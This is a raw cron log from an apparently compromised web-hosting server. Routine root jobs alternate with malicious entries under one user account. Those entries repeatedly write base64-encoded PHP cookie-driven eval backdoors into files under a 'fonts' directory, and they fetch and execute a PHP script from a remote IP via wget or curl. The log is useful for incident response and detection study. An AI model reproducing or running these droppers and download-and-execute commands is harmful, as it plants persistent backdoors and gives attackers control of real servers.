Sep  5 23:53:01 ip-184-168-122-23 CROND[13224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:53:01 ip-184-168-122-23 CROND[13223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:54:01 ip-184-168-122-23 CROND[13315]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:54:01 ip-184-168-122-23 CROND[13319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:54:01 ip-184-168-122-23 CROND[13317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:54:01 ip-184-168-122-23 CROND[13316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:54:01 ip-184-168-122-23 CROND[13318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:55:01 ip-184-168-122-23 CROND[13410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:55:01 ip-184-168-122-23 CROND[13412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:55:01 ip-184-168-122-23 CROND[13414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:55:01 ip-184-168-122-23 CROND[13415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:55:01 ip-184-168-122-23 CROND[13413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:55:01 ip-184-168-122-23 CROND[13416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:56:01 ip-184-168-122-23 CROND[13503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:56:01 ip-184-168-122-23 CROND[13505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:56:01 ip-184-168-122-23 CROND[13507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:56:01 ip-184-168-122-23 CROND[13506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:56:01 ip-184-168-122-23 CROND[13508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:57:01 ip-184-168-122-23 CROND[13589]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:57:01 ip-184-168-122-23 CROND[13587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:57:01 ip-184-168-122-23 CROND[13590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:57:01 ip-184-168-122-23 CROND[13588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:58:01 ip-184-168-122-23 CROND[13755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:58:01 ip-184-168-122-23 CROND[13758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:58:01 ip-184-168-122-23 CROND[13759]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:58:01 ip-184-168-122-23 CROND[13756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:58:01 ip-184-168-122-23 CROND[13760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:59:01 ip-184-168-122-23 CROND[13841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:59:01 ip-184-168-122-23 CROND[13840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:59:01 ip-184-168-122-23 CROND[13842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:59:01 ip-184-168-122-23 CROND[13843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:00:01 ip-184-168-122-23 CROND[13950]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:00:01 ip-184-168-122-23 CROND[13946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:00:01 ip-184-168-122-23 CROND[13953]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 00:00:01 ip-184-168-122-23 CROND[13947]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 00:00:01 ip-184-168-122-23 CROND[13948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:00:01 ip-184-168-122-23 CROND[13951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 00:00:01 ip-184-168-122-23 CROND[13949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:00:01 ip-184-168-122-23 CROND[13952]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:00:01 ip-184-168-122-23 CROND[13954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 00:01:01 ip-184-168-122-23 CROND[14063]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 00:01:01 ip-184-168-122-23 CROND[14065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:01:01 ip-184-168-122-23 CROND[14066]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 00:01:01 ip-184-168-122-23 CROND[14064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:01:01 ip-184-168-122-23 CROND[14067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:01:01 ip-184-168-122-23 CROND[14068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14063]: starting 0anacron
Sep  6 00:01:01 ip-184-168-122-23 anacron[14084]: Anacron started on 2026-09-06
Sep  6 00:01:01 ip-184-168-122-23 anacron[14084]: Normal exit (0 jobs run)
Sep  6 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14086]: finished 0anacron
Sep  6 00:02:01 ip-184-168-122-23 CROND[14165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:02:02 ip-184-168-122-23 CROND[14166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:02:02 ip-184-168-122-23 CROND[14167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:02:02 ip-184-168-122-23 CROND[14168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:02:02 ip-184-168-122-23 CROND[14169]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:03:01 ip-184-168-122-23 CROND[14260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:03:01 ip-184-168-122-23 CROND[14261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:03:01 ip-184-168-122-23 CROND[14262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:03:01 ip-184-168-122-23 CROND[14263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:04:01 ip-184-168-122-23 CROND[14339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 00:04:01 ip-184-168-122-23 CROND[14341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 00:04:01 ip-184-168-122-23 CROND[14340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 00:04:01 ip-184-168-122-23 CROND[14343]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 00:04:01 ip-184-168-122-23 CROND[14342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 00:05:01 ip-184-168-122-23 CROND[14456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
